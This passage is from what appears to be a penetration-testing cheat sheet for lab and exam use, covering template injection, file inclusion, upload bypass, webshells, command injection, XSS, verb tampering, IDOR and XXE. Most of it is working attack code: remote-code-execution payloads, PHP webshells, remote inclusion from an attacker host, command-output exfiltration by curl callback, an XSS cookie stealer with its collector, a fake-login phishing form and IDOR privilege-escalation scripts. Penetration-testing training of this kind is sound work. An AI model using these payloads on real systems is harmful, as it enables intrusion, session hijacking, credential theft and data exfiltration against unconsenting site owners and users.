`${...}` | context | SpringEL: `${T(java.lang.Runtime).getRuntime().exec('id')}` | 1013 | ERB (Ruby) | `<%= 7*7 %>` | yes | `<%= system('id') %>` / ``<%= `id` %>`` | 1014 | Pug/Jade (Node) | `#{7*7}` | yes | `#{global.process.mainModule.require('child_process').execSync('id')}` | 1015 | Velocity (Java) | `#set($x=7*7)$x` | yes | class-tool / `Runtime.exec` chains | 1016 | Smarty (PHP) | `{$smarty.version}` | version leak | `{system('id')}` (older) / `{literal}` tricks | 1017 1018 ```bash 1019 # generic Jinja2/Twig RCE ladder (Jinja2) 1020 {{config}} # leak app config/secret keys 1021 {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} 1022 {{''.__class__.__mro__[1].__subclasses__()}} # walk subclasses -> find subprocess.Popen index 1023 1024 # tplmap — the sqlmap of SSTI (auto-detect engine, then shell) 1025 python3 tplmap.py -u "http://$IP/page?name=test" --os-shell 1026 python3 tplmap.py -u "http://$IP/page?name=test" -e jinja2 --reverse-shell $LHOST 4444 1027 ``` 1028 1029 > [!warning] Watch out 1030 > - `{{7*7}}` rendering as literal text ≠ safe — the engine may use `${...}` or `<%= %>`; probe all three syntaxes. 1031 > - Sandboxed engines (Jinja2 sandbox, Smarty secure mode) need subclass-walking or gadget chains — don't expect `os.popen` to work on the first try. 1032 > - SSTI output often lands in **emails/PDFs**, not the HTTP response — blind confirm with an OOB callback (`curl $LHOST:8000/x`) like blind XSS. 1033 > - Cross-link the resulting shell: [05 - Foothold Toolkit - Shells Payloads and Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) for upgrading to a full reverse shell. 1034 1035 #### LFI depth — filter-bypass matrix → LFI2RCE → RFI transports 1036 1037 **What to look for** → same `?page= ?file= ?language= ?include=` sinks the guide's wrapper block uses. This is the manual bypass ladder and the RCE chains the LFI - Cheat Sheet pointer glosses — recognise the concatenation pattern first (2 - Local File Inclusion (LFI)), then defeat the filter (3 - Basic Bypasses). 1038 1039 **Enumerate — recognise the concat pattern, then beat the filter** 1040 ```bash 1041 # how is the param concatenated? (a verbose PHP error names the resolved path) 1042 ?language=/etc/passwd # direct include() -> absolute path works 1043 ?language=../../../../etc/passwd # prepended directory -> traverse out (excess ../ is harmless) 1044 ?language=/../../../etc/passwd # prefix e.g. "lang_" -> leading / turns prefix into a dir 1045 # appended ".php" -> /etc/passwd.php (fails): use php://filter, or legacy null-byte below 1046 1047 # filter-bypass matrix 1048 ?language=....//....//....//etc/passwd # non-recursive str_replace('../','') -> ....// leaves ../ 1049 ?language=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd # URL-encode; DOUBLE-encode vs a 1-pass WAF 1050 ?language=./languages/../../../etc/passwd # approved-path regex only anchors the START 1051 ?language=/etc/passwd%00 # + ~2048x "./" padding # PHP <5.3/5.5 ONLY (dead on 7/8) 1052 ``` 1053 1054 **Exploit / Attack — RCE chains beyond the guide's wrapper one-liners** 1055 ```bash 1056 # --- second-order LFI: poison a STORED value, trigger the sink later --- 1057 # register username = ../../../etc/passwd , then hit /profile/<username>/avatar.png 1058 1059 # --- LFI2RCE via ANY upload form (the upload itself need not be vulnerable) --- 1060 echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif # ASCII magic-byte polyglot 1061 # upload as avatar, grab the stored path from page source (<img src=...>), then include it: 1062 curl "http://$IP/index.php?language=./profile_images/shell.gif&cmd=id" 1063 1064 # zip:// wrapper (# -> %23) 1065 echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php 1066 curl "http://$IP/index.php?language=zip://./uploads/shell.jpg%23shell.php&cmd=id" 1067 1068 # phar:// wrapper (build locally with phar.readonly=0) 1069 # shell.php: $p=new Phar('shell.phar'); $p->startBuffering(); 1070 # $p->addFromString('shell.txt','<?php system($_GET["cmd"]); ?>'); 1071 # $p->setStub('<?php __HALT_COMPILER(); ?>'); $p->stopBuffering(); 1072 php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg 1073 curl "http://$IP/index.php?language=phar://./uploads/shell.jpg/shell.txt&cmd=id" 1074 1075 # --- poisoning variants beyond the guide's access.log + PHPSESSID (see 8 - Log Poisoning) --- 1076 curl "http://$IP/index.php?language=/proc/self/environ&cmd=id" # UA reflected here 1077 curl "http://$IP/index.php?language=/proc/self/fd/15&cmd=id" # fd N ~ 0-50, brute it 1078 # nginx access log is www-data-readable (Apache's is usually root/adm); SSH/FTP/mail also poisonable: 1079 # log in / send mail with PHP in the username or body, then include: 1080 # /var/log/nginx/access.log /var/log/sshd.log /var/log/vsftpd.log /var/log/mail 1081 ``` 1082 1083 **RFI — the transports the guide's single HTTP host skips** (6 - Remote File Inclusion (RFI)) 1084 ```bash 1085 # 0) VERIFY rfi with a LOOPBACK include first (allow_url_include=On is necessary, not sufficient) 1086 ?language=http://127.0.0.1:80/index.php # renders+executes = RFI viable; NEVER target the vuln page (DoS loop) 1087 1088 echo '<?php system($_GET["cmd"]); ?>' > shell.php 1089 sudo python3 -m http.server 80 # HTTP (80/443 = most-whitelisted egress) 1090 curl "http://$IP/index.php?language=http://$LHOST/shell.php&cmd=id" 1091 1092 sudo python3 -m pyftpdlib -p 21 # FTP: when the literal http:// string is WAF'd 1093 curl "http://$IP/index.php?language=ftp://$LHOST/shell.php&cmd=id" 1094 1095 impacket-smbserver -smb2support share $(pwd) # SMB: Windows target -> UNC path skips allow_url_include 1096 curl "http://$IP/index.php?language=\\\\$LHOST\\share\\shell.php&cmd=whoami" 1097 ``` 1098 1099 **PHP wrapper quick-reference** 1100 1101 | Wrapper | Needs | Use | 1102 |---|---|---| 1103 | `php://filter/convert.base64-encode/resource=X` | nothing | read PHP **source** (b64 it so it isn't executed) | 1104 | `php://input` | `allow_url_include` | POST raw PHP as the request body | 1105 | `data://text/plain;base64,...` | `allow_url_include` | inline payload, no external host | 1106 | `expect://cmd` | `expect` ext (rare) | direct command exec | 1107 | `zip://shell.zip%23shell.php` | uploaded zip | execute a PHP file inside an uploaded archive | 1108 | `phar://shell.jpg/shell.txt` | uploaded phar-polyglot | same trick, phar metadata also triggers unserialize | 1109 | `file:///etc/passwd` / bare path | nothing | plain read / traversal baseline | 1110 1111 **Filter-chain RCE** — when you have LFI on a modern PHP (7/8) with no upload, no logs, no `allow_url_include`: [php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) builds a `php://filter` chain of `convert.iconv.*` transforms that *generates* arbitrary PHP code from the included file itself, giving RCE from a pure read primitive: 1112 1113 ```bash 1114 python3 php_filter_chain_generator.py --chain '<?php system($_GET["0"]);?>' 1115 # paste the emitted chain as the include param, then &0=id 1116 ``` 1117 1118 > [!warning] Watch out 1119 > - Null-byte / path-truncation are PHP <5.3/5.5 **only** — dead on any live target, keep them purely for legacy recognition. 1120 > - Don't filter `301/302/403` when fuzzing files under an LFI: filesystem read ≠ HTTP navigation, those pages are still readable through the include. 1121 > - RFI ⊂ LFI: every RFI is an LFI, not every LFI is RFI-capable — prove it with the loopback include, don't infer it from `allow_url_include` alone. 1122 > - Session/log poisoning is noisy and forensic by design — prefer wrapper or upload RCE. Each poisoned-session command needs re-poisoning first (the inclusion request overwrites the `page` field on the next write). 1123 1124 #### File-upload bypass matrix — extension · Content-Type · magic bytes · double-ext 1125 1126 **What to look for** → any upload (avatar, doc import, CSV). Peel the filters layer by layer — extension → `Content-Type` header → magic bytes — then check the filename itself and the "safe type" surface. Full ladder in 2 - Client-Side Validation → 7 - Other Upload Attacks. 1127 1128 **Enumerate — find which layer validates and what it accepts** 1129 ```bash 1130 # client-side only? intercept in Burp & swap filename/body, or delete the onchange handler in DevTools 1131 # -> back-end then sees the raw POST with no JS in the way 1132 # blacklist vs whitelist: Intruder-fuzz the extension, sort by response Length (one uniform length = accepted set) 1133 ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ \ 1134 -u http://$IP/upload.php -X POST -F "uploadFile=@shell.FUZZ;type=image/png" 1135 # content-type layer: fuzz just the FILE-PART header with the image subset 1136 grep 'image/' /usr/share/seclists/Miscellaneous/Web/content-type.txt > image-ct.txt 1137 ``` 1138 1139 **Exploit / Attack — the bypass matrix** 1140 ```bash 1141 # EXTENSION blacklist -> alternate PHP-executable exts (server-handler dependent) 1142 shell.phtml shell.php3 shell.php4 shell.php5 shell.pht pHp # mixed-case beats a lowercase-only list 1143 1144 # WHITELIST (regex) bypass 1145 shell.jpg.php # double-ext: unanchored ^.*\.(jpg|png)$ (missing $) matches .jpg, file saved as .php 1146 shell.php.jpg # reverse double-ext: abuses Apache <FilesMatch ".+\.ph(ar|p|tml)"> with no trailing $ 1147 # char-injection generator (legacy/Windows: %00 truncation, ':' = NTFS ADS e.g. shell.aspx:.jpg) 1148 for c in %20 %0a %00 / .\\ . : ; do for e in .php .phps; do \ 1149 printf 'shell%s%s.jpg\nshell%s%s.jpg\nshell.jpg%s%s\n' "$c" "$e" "$e" "$c" "$c" "$e"; done; done > upx.txt 1150 1151 # CONTENT-TYPE header spoof: keep filename="shell.php", body=PHP, set the file part's header: 1152 # Content-Type: image/jpg 1153 # MAGIC-BYTE (signature) check -> prepend GIF8 1154 printf 'GIF8\n<?php system($_REQUEST["cmd"]); ?>' > shell.php # `file shell.php` now reports GIF image data 1155 # layered filter -> combine ext + content-type + magic bytes, fuzz the permutation 1156 1157 # --- "secure" upload still carries surface without any code-exec (6 - Limited File Uploads) --- 1158 # SVG stored XSS (browser renders SVG but parses its XML): 1159 # <svg xmlns="http://www.w3.org/2000/svg"><script>alert(window.origin)</script></svg> upload as .svg 1160 # SVG/XML XXE -> local file read + source disclosure (PDF/DOCX/PPTX embed XML too): 1161 # <!DOCTYPE svg [<!ENTITY x SYSTEM "file:///etc/passwd">]><svg>&x;</svg> 1162 # <!DOCTYPE svg [<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><svg>&x;</svg> 1163 exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg # XSS via a displayed EXIF field 1164 # filename as its own injection vector (back-end shells out / builds SQL / reflects it): 1165 file$(whoami).jpg file.jpg||whoami "<script>alert(1)</script>.jpg" "x';select sleep(5);--.jpg" 1166 # leak the uploads path: duplicate name / parallel identical uploads / ~5000-char filename -> disclosing error 1167 # Windows: reserved names CON COM1 LPT1 NUL ; 8.3 short-name overwrite WEB~1.CONF -> web.config 1168 ``` 1169 1170 > [!warning] Watch out 1171 > - Bypassing the blacklist ≠ execution: a fuzzed-allowed extension only fires if the web server's handler hands it to the PHP interpreter — always test the real upload; `.phtml` is the usual winner. 1172 > - The unanchored regex (missing `$`) is THE whitelist bug — try `shell.jpg.php` first; if it's properly anchored, drop to the Apache `FilesMatch` layer with `shell.php.jpg`. 1173 > - `Content-Type` is browser-set, exactly as trustworthy as the filename; the magic-byte check only reads the first bytes, so `GIF8` alone spoofs it (a cosmetic `GIF8` line prints before your output). 1174 > - SVG is XML rendered as an image — it carries the full XSS **and** XXE surface even on an "images-only" form, and XXE source-disclosure frequently hands you the exact filter/naming logic to beat everywhere else. 1175 1176 **Executable extensions per server** — fuzz *these*, not a random list: 1177 1178 | Server | Extensions to try | Config abuse | 1179 |---|---|---| 1180 | Apache + PHP | `.php .phtml .php3 .php4 .php5 .php7 .pht .phar .pHp` | upload `.htaccess`: `AddType application/x-httpd-php .jpg` → any `.jpg` executes as PHP | 1181 | IIS (classic) | `.asp .aspx .ashx .asmx .cer .asa` | upload `web.config` → run arbitrary command/ASPX (see below) | 1182 | IIS (ASP.NET) | `.aspx .ashx .asmx .ascx .cshtml` | `web.config` handler mapping; `.ashx` = generic handler, often forgotten | 1183 | Tomcat/Java | `.jsp .jspx .jsw .jsv .war` | WAR deploy if /manager reachable | 1184 | nginx | server config decides (`.php` via php-fpm) | nginx misconfig: `/shell.jpg/x.php` path-info trick passes to php-fpm | 1185 | Node/Express | no server-side exec by extension | aim for stored XSS / proto-pollution instead | 1186 1187 ```xml 1188 <!-- web.config upload → ASPX code exec on IIS (save as web.config in an uploadable dir) --> 1189 <?xml version="1.0" encoding="UTF-8"?> 1190 <configuration><system.webServer><handlers accessPolicy="Read, Script, Write"> 1191 <add name="shell" path="*.jpg" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64"/> 1192 </handlers></system.webServer></configuration> 1193 <!-- now a classic-ASP shell uploaded as .jpg executes --> 1194 ``` 1195 1196 **Path truncation / injection**: `.php%00.jpg` (PHP<5.3 only), `.php/`, `.php.` (Windows strips trailing dot), `. php`, `::$DATA` (NTFS default stream), `shell.asp;.jpg` (IIS 6 semicolon parsing). 1197 1198 #### Webshell staging — pick the shell for the server 1199 1200 > [!tools] Staged webshells (drop into the upload, then request it) 1201 > PHP targets (Apache/nginx+php-fpm, WordPress theme editor, LFI2RCE): 1202 > 1203 > [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.php.sha256.asc)) 1204 > 1205 > Classic ASP / legacy IIS (`.asp`, `.cer`, `asp.dll` handlers): 1206 > 1207 > [rp-shell.asp](/downloads/pentest-workflow/rp-shell.asp) ([SHA-256](/downloads/pentest-workflow/rp-shell.asp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.asp.sha256.asc)) 1208 > 1209 > Tomcat / any JSP container (also the payload inside a WAR — see Tomcat → /manager WAR deploy (msfvenom war)): 1210 > 1211 > [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) ([SHA-256](/downloads/pentest-workflow/rp-shell.jsp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.jsp.sha256.asc)) 1212 > 1213 > IIS + ASP.NET (`aspx` handler, Windows boxes — pairs with the web.config trick above): 1214 > 1215 > [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc)) 1216 1217 **Selection guidance**: match the shell to the *executing* handler, not the OS — an IIS box with PHP installed runs `rp-shell.php`; a Linux Tomcat runs `rp-shell.jsp`. Confirm execution context with a harmless probe first (`whoami`/`id`, `phpinfo()`), and note the shell runs as the **web service account** (`www-data`, `NT AUTHORITY\IUSR`/`iis apppool\defaultapppool`, `tomcat`) — privesc is [12 - Stage 09 - Privilege Escalation](/sheets/pentest-workflow/privilege-escalation)'s job. 1218 1219 > [!warning] OPSEC — webshells are tripwires 1220 > A dropped `.php`/`.aspx` in the webroot is the single most-searched IOC (EDR web-shell signatures, file-integrity monitoring, `access.log` requests to a non-linked path). Mitigate: random filename (not `shell.php`), non-obvious param name (md5, not `cmd`), password-gate the shell, and **delete it when done**. On the CPTS exam it doesn't matter; on a real engagement it's the difference between a finding and an incident. Full tradecraft: [05 - Foothold Toolkit - Shells Payloads and Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit). 1221 1222 #### Command-injection matrix — operators · char reconstruction · obfuscation 1223 1224 **What to look for** → the guide already lists the shell-out sinks and the `${IFS}` / `{brace}` / `$PATH`-slice / quote-split / socat payloads. This is the matrix *behind* them: the full operator set, how to fingerprint the filter, how to build a blocked character without sending it, and the WAF-grade obfuscation ladder. Modules: 2 - Detecting Command Injection Vulnerabilities → 7 - Advanced Command Obfuscation, 8 - Evasion Tools. 1225 1226 **Enumerate — operator set + fingerprint the filter** (3 - Identifying Filters) 1227 ```bash 1228 # operators (URL-encoded), all OS/lang unless noted: 1229 # ; %3b \n %0a & %26 | %7c && %26%26 || %7c%7c `cmd` %60 $(cmd) %24%28%29 1230 # caveat: ';' does NOT chain under Windows cmd.exe (it does under PowerShell) 1231 curl "http://$IP/ping.php?ip=127.0.0.1%0a whoami" # %0a first: hardest to blacklist cleanly 1232 curl "http://$IP/ping.php?ip=|| whoami" # break cmd1 so ONLY cmd2 output returns (clean) 1233 # fingerprint: inline app error = PHP filter; a separate branded block page w/ your IP = external WAF 1234 # reduce to one token to find the banned char: ...ip=127.0.0.1; still blocked => ';' banned -> pivot to %0a 1235 ``` 1236 1237 **Exploit / Attack — reconstruct blocked characters, then obfuscate the command** 1238 1239 **Bash and other POSIX shells** 1240 1241 ```bash 1242 # Space bypasses (4 - Bypassing Space Filters) 1243 127.0.0.1%0a%09whoami 1244 127.0.0.1%0a$IFS$9whoami 1245 1246 # Reconstruct blocked characters from environment variables (5 - Bypassing Other Blacklisted Characters) 1247 ${LS_COLORS:10:1} # ';' 1248 ${PATH:0:1} # '/' 1249 1250 # Derive '\' by shifting the preceding ASCII character. 1251 echo $(tr '!-}' '"-~' <<< [) 1252 1253 # Split a blacklisted command with shell-ignored characters (6 - Bypassing Blacklisted Commands) 1254 w'h'o'am'i 1255 w"h"o"am"i 1256 who$@ami 1257 w\ho\am\i 1258 1259 # Whole-command transforms (7 - Advanced Command Obfuscation) 1260 $(tr "[A-Z]" "[a-z]" <<< "WhOaMi") 1261 $(rev <<< 'imaohw') 1262 bash <<< $(base64 -d <<< Y2F0IC9ldGMvcGFzc3dk) 1263 ``` 1264 1265 **Windows Command Prompt** 1266 1267 ```batch 1268 :: Reconstruct '\' from HOMEPATH, split a command with quotes, or escape with ^. 1269 %HOMEPATH:~6,-11% 1270 w"h"o"am"i 1271 who^ami 1272 ``` 1273 1274 **PowerShell** 1275 1276 ```powershell 1277 # Strings are character arrays, so this returns a backslash on a normal profile path. 1278 $env:HOMEPATH[0] 1279 1280 # Reverse a command or decode a UTF-16LE Base64 command. 1281 iex "$('imaohw'[-1..-20] -join '')" 1282 iex "$([Text.Encoding]::Unicode.GetString( 1283 [Convert]::FromBase64String('dwBoAG8AYQBtAGkA') 1284 ))" 1285 1286 # Interactive DOSfuscation workflow. 1287 Import-Module .\Invoke-DOSfuscation.psd1 1288 Invoke-DOSfuscation 1289 ``` 1290 1291 **Build PowerShell Base64 from Linux** 1292 1293 ```bash 1294 echo -n whoami | iconv -f utf-8 -t utf-16le | base64 1295 ``` 1296 1297 **Automate Bash obfuscation** 1298 1299 ```bash 1300 ./bashfuscator \ 1301 -c 'cat /etc/passwd' \ 1302 -s 1 \ 1303 -t 1 \ 1304 --no-mangling \ 1305 --layers 1 1306 ``` 1307 1308 > [!warning] Watch out 1309 > - Filters compose → bypasses compose: one request often stacks operator (`%0a`) + space (`${IFS}`/`%09`) + name-split (`w'h'o'am'i`) + char-slice all at once. After any obfuscation, re-scan the *wrapper* for a character that is itself still filtered (usually the space). 1310 > - `||` after a deliberately-broken first command gives the cleanest response (only cmd2's output); `;`/`&&` prepend the original command's output. 1311 > - `%0a` (newline) beats operator blacklists most often — devs can't safely ban it — so try it before anything fancier. 1312 > - Bashfuscator's random default can exceed a POST field's size cap — always tune `-s/-t/--no-mangling/--layers`; a hand-rolled combo beats a copy-pasted one (public obfuscation patterns are WAF-signatured). 1313 1314 **Blind & OOB command injection** — no output in the response? Confirm with **time** (`;sleep 5`, `%0aping -n 6 127.0.0.1` on Windows) or **out-of-band**; automate detection with [commix](https://github.com/commixproject/commix) when manual probing drags: 1315 1316 ```bash 1317 # OOB confirm — any callback at all proves exec 1318 curl "http://$IP/ping.php?ip=127.0.0.1%0acurl${IFS}http://$LHOST:8000/oob" 1319 # OOB data exfil through the callback path 1320 curl "http://$IP/ping.php?ip=127.0.0.1%0acurl${IFS}http://$LHOST:8000/$(id|base64|tr+/=__)" # demo shape 1321 # DNS-only egress: ping `whoami`.abc123.oast.pro (interactsh / Burp Collaborator catches it) 1322 1323 # commix — automate detection + exploitation when manual probing drags 1324 python3 commix.py -u "http://$IP/ping.php?ip=127.0.0.1" --batch 1325 python3 commix.py -r request.txt --level 3 --technique=t # time-based only, quieter 1326 ``` 1327 1328 > [!warning] OPSEC — command injection is loud and forensic 1329 > Every probe lands in the web log *with* the payload in cleartext; `curl`/DNS OOB callbacks leave egress log entries. Prefer a single reverse-shell request (see [05 - Foothold Toolkit - Shells Payloads and Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit)) over 50 echoed commands, and clean up any files you drop. 1330 1331 ### 🎯 XSS, HTTP Verb Tampering, IDOR & XXE 1332 1333 The `### XSS` block above covers find + context-matched payloads. This one carries the payloads through to impact, then adds the three Web-Attacks staples the guide is missing. Deep dives: 5 - XSS Discovery · 8 - Session Hijacking · 7 - Phishing · 1 - Intro to HTTP Verb Tampering · 6 - Identifying IDORs · 10 - Chaining IDOR Vulnerabilities · 13 - Local File Disclosure · 15 - Blind Data Exfiltration · Dalfox - HTB and AEN Cheat Sheet. 1334 1335 #### XSS — classify → discover → weaponise 1336 1337 **What to look for** → I already have a firing marker (see above). Now pin the *type* (fixes delivery) and turn it into cookie theft / creds. Persistence test: does it survive a refresh with no resubmit? Stored. Only in the one echoed response? Reflected. Never in `Ctrl+U` source, `#fragment` in the URL with no Network request? DOM. 1338 1339 **Enumerate (classify + automate discovery)** 1340 ```bash 1341 # DOM tell: fragment never hits the server -> confirm type before wasting server-side payloads 1342 # reflected -> shareable URL-encoded link; stored -> fires for every visitor on refresh 1343 1344 # automate parameter discovery/context when the manual sweep doesn't scale 1345 python3 xsstrike.py -u "http://$IP/index.php?task=test" # Confidence 10 / Efficiency 100 ~= confirmed 1346 dalfox url "http://$IP/index.php?task=test" # mining + DOM + blind in one Go binary 1347 ``` 1348 ([XSStrike](https://github.com/s0md3v/XSStrike) is Python 2/3 legacy but its context analysis output is still useful for reading sink types.) 1349 ```html 1350 <!-- innerHTML sink STRIPS literal <script> — DOM XSS needs an event handler instead --> 1351 <img src="" onerror=alert(window.origin)> 1352 <svg onload=alert(window.origin)> 1353 <!-- alert() blocked? confirmation fallbacks --> 1354 <plaintext> <!-- halts HTML rendering, dumps raw --> 1355 <script>print()</script> 1356 ``` 1357 1358 **Exploit / Attack — cookie theft → session hijack** 1359 ```bash 1360 # 1. host the stealer + collector on tun0. sudo php -S 0.0.0.0:80 so the HTB browser (VPN iface) reaches it 1361 echo "new Image().src='http://$LHOST/index.php?c='+document.cookie;" > script.js 1362 ``` 1363 ```php 1364 // index.php — splits multi-cookie strings, logs source IP (handles many victims over time) 1365 <?php if (isset($_GET['c'])) { foreach (explode(";", $_GET['c']) as $v) { 1366 $c=urldecode($v); $f=fopen("cookies.txt","a+"); 1367 fputs($f,"IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$c}\n"); fclose($f); 1368 } } ?> 1369 ``` 1370 ```html 1371 <!-- 2. deliver into the stored/reflected sink — new Image() is silent (no nav-away, unlike document.location) --> 1372 <script src=http://$LHOST/script.js></script> 1373 ``` 1374 ```bash 1375 # 3. replay: Firefox DevTools Storage (Shift+F9) -> add cookie name/value from cookies.txt -> refresh = authed as victim 1376 ``` 1377 1378 **Exploit / Attack — blind XSS field ID + phishing** 1379 ```html 1380 <!-- BLIND: name the callback after each field so a listener hit tells you WHICH field fired --> 1381 <script src=http://$LHOST/fullname></script> 1382 <script src=http://$LHOST/username></script> 1383 '><script src=http://$LHOST></script> <!-- attribute-breakout variants --> 1384 "><script src=http://$LHOST></script> 1385 ``` 1386 ```html 1387 <!-- PHISHING: overwrite the page with a fake login, strip the original element, comment out the rest --> 1388 <script>document.write('<h3>Please login to continue</h3><form action=http://$LHOST><input name=username placeholder=Username><input type=password name=password placeholder=Password><input type=submit value=Login></form>');document.getElementById('urlform').remove();</script><!-- 1389 ``` 1390 Collector logs creds then `header("Location: http://$IP/...")` 302s the victim back so the login "just works" — a bare `nc -lvnp 80` proves capture but errors the browser (suspicious). 1391 1392 > [!warning] Watch out 1393 > - `document.cookie` is empty under **HttpOnly** — kills the steal, does *not* disprove XSS. Blind XSS on an admin panel you can't see is the common HTB shape: the `<script src=…/fieldname>` naming trick is the only signal you get. 1394 > - Match the payload to the *observed* parser (see the context table above) — a short context-correct payload beats a giant list. `<script>` fails in an `innerHTML` sink; use `<img onerror>`/`<svg onload>`. 1395 > - HTTP collector against an HTTPS target = mixed-content blocked. Scanner "reflected" ≠ "executed" — always confirm in a real browser. 1396 1397 #### HTTP Verb Tampering (auth bypass + method-based filter bypass) 1398 1399 **What to look for** → an action behind Basic Auth (`/admin`, a Reset/Delete button → 401), or a filter that blocks a payload. Both bugs = the check only covers GET/POST while the server/sink honours other verbs. Two root causes: server config scoped to `<Limit GET POST>`, or code validating `$_POST` but a sink reading `$_REQUEST`. 1400 1401 **Enumerate** 1402 ```bash 1403 curl -i -X OPTIONS http://$IP/ # the Allow: header is free recon — HEAD present = try it 1404 # Allow: POST,OPTIONS,HEAD,GET 1405 curl -i -X HEAD "http://$IP/admin/reset.php" # HEAD = GET with no body, same handler runs 1406 ``` 1407 1408 **Exploit / Attack** 1409 ```bash 1410 # 1. AUTH BYPASS — GET/POST both 401, HEAD falls outside <Limit GET POST> and executes with NO challenge 1411 curl -i -X HEAD "http://$IP/admin/reset.php" # 200, empty body, privileged action ran 1412 1413 # 2. FILTER BYPASS — preg_match checks $_POST, system() reads $_REQUEST -> move payload to GET 1414 curl -s -X POST -d "filename=test;" http://$IP/create.php # "Malicious Request Denied!" 1415 curl -s "http://$IP/create.php?filename=file1;%20touch%20file2;" # $_POST empty (passes), $_REQUEST carries it -> RCE 1416 ``` 1417 Burp is faster than curl here: right-click intercepted request → **Change Request Method** to cycle verbs; **Intruder** with a verb wordlist (`GET POST HEAD PUT DELETE PATCH OPTIONS TRACE CONNECT`) to sweep many endpoints. 1418 1419 > [!warning] Watch out 1420 > - HEAD returns an **empty body** — no visible confirmation. Verify the side effect (files gone, `file2` created), not the response. 1421 > - A filter is only as strong as its *narrowest* superglobal: if validation reads `$_GET`/`$_POST` but the sink reads `$_REQUEST`, flipping the verb slips every payload past it. Test a known-blocked payload across every accepted verb. 1422 > - HEAD is enabled by default on most Apache/nginx and rarely tested by scanners against auth logic — check it on every protected endpoint. 1423 1424 #### IDOR (enumeration, encoding/hashing, mass-assignment chains) 1425 1426 **What to look for** → object refs I can tamper: `?uid=1`, `?file_id=123`, JSON `{"uid":1}`, predictable filenames (`Invoice_<uid>_<mm>_<yyyy>.pdf`), base64/hash-looking params, and client-supplied `role`/`is_admin` fields. Read shipped JS for AJAX functions the UI never calls for my role. On REST APIs the same bug is **BOLA** (Broken Object Level Authorization, OWASP API #1) — enumerate object IDs on `/api/v1/users/{id}`-style routes with every verb; "function-level" variant = calling admin-only endpoints (`/api/admin/export`) as a low-priv user. 1427 1428 **Enumerate** 1429 ```bash 1430 # encoding is NOT access control — decode first 1431 echo "ZmlsZV8xMjMucGRm" | base64 -d # -> file_123.pdf, now guess file_124.pdf and re-encode 1432 1433 # "secure" MD5 ref? if the JS hashes client-side (CryptoJS.MD5(btoa(uid))), reproduce the formula: 1434 echo -n 1 | base64 -w 0 | md5sum # must match the observed contract= value 1435 # -n (no newline) and -w 0 (no wrap) are mandatory — a stray byte changes the hash entirely 1436 ``` 1437 1438 **Exploit / Attack — mass enumeration** 1439 ```bash 1440 # plaintext uid: scrape links then pull every file across the id range 1441 curl -s "http://$IP/documents.php?uid=3" | grep -oP "\/documents.*?.pdf" 1442 for i in $(seq 1 100); do 1443 for l in $(curl -s "http://$IP/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do 1444 wget -q "http://$IP/$l"; done; done 1445 1446 # hashed ref: reproduce the client formula per id, POST it, save server-suggested filename (-OJ) 1447 for i in $(seq 1 100); do 1448 h=$(echo -n $i | base64 -w 0 | md5sum | tr -d ' -') 1449 curl -sOJ -X POST -d "contract=$h" http://$IP/download.php; done 1450 ``` 1451 1452 **Exploit / Attack — API chain: info-disclosure IDOR → mass assignment → priv-esc** 1453 ```bash 1454 # 1. GET another user's record (only a role=employee cookie as "auth") leaks the uuid a PUT needs 1455 curl -s "http://$IP/profile/api.php/profile/2" # -> {"uid":"2","uuid":"4a9b...","role":"employee",...} 1456 1457 # 2. PUT with the harvested uuid clears the "uuid mismatch" check -> write to their account (mass assignment) 1458 curl -s -X PUT -H 'Content-Type: application/json' \ 1459 -d '{"uid":"2","uuid":"4a9b...","role":"employee","about":"PWNED"}' \ 1460 "http://$IP/profile/api.php/profile/2" 1461 1462 # 3. enumerate all uids for the real admin role NAME (guessing admin/administrator fails -> it's web_admin) 1463 for i in $(seq 1 20); do curl -s "http://$IP/profile/api.php/profile/$i"; echo; done | grep -o '"role":"[^"]*"' 1464 1465 # 4. escalate self, then create a new admin (POST no longer "for admins only" once role=web_admin) 1466 curl -s -X PUT -H 'Content-Type: application/json' \ 1467 -d '{"uid":"1","uuid":"<mine>","role":"web_admin"}' "http://$IP/profile/api.php/profile/1" 1468 ``` 1469 1470 > [!warning] Watch out 1471 > - Pages often look **identical** across users — only linked filenames / response size differ. Diff source/size (Burp **Comparer**), never the rendered view. 1472 > - Client-side hashing or a client-supplied `role`/`is_admin` = zero security; the algorithm+input are in the JS bundle, so any ref is attacker-computable. 1473 > - Test **all CRUD verbs** (GET/PUT/POST/DELETE) on a REST endpoint, not just the one the UI uses — rejection messages (`uuid mismatch`, `Invalid role`) leak exactly which field is validated. A blocked *write* path is not a dead end: check the *read* path for the value that unblocks it. 1474 > - After role-esc, re-try every previously-blocked action — the same endpoint accepts them under the new role. 1475 1476 #### XXE (file read, source theft, RCE, blind OOB) 1477 1478 **What to look for** → any endpoint that ingests XML: contact forms, SAML/SOAP, `Content-Type: text/xml`/`application/xml` API bodies, XML file uploads. Legacy or unknown parser = worth testing. Note which submitted element gets reflected back — that's the output channel. 1479 1480 **Enumerate / confirm** 1481 ```xml 1482 <!-- confirm the parser resolves custom entities with a harmless INTERNAL entity first --> 1483 <?xml version="1.0"?> 1484 <!DOCTYPE email [ 